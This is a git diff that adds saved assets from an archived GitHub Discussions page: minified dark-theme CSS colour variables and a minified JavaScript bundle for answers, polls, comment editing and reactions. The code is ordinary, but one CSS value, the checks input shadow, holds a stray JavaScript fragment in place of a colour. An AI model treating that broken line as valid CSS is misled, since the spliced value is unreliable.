#c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const 